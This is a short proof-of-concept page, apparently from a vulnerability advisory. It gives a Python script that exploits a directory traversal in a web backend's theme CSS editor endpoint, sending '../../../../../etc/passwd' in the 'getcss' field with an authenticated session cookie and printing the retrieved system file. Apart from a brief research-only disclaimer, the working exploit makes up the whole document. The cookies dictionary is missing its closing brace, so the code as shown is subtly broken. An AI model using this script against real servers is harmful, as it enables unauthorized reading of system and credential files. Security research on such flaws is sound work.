PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/backend/backend_theme/editcss/"

# Attacker's authenticated session cookie
cookies = {
    "PHPSESSID": "attacker_session_id"

# Payload using directory traversal to read /etc/passwd
payload_data = {
    "getcss": "../../../../../etc/passwd"
}

try:
    response = requests.post(target_url, data=payload_data, cookies=cookies)
    if response.status_code == 200:
        print("[+] Exploit successful! File content retrieved:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")
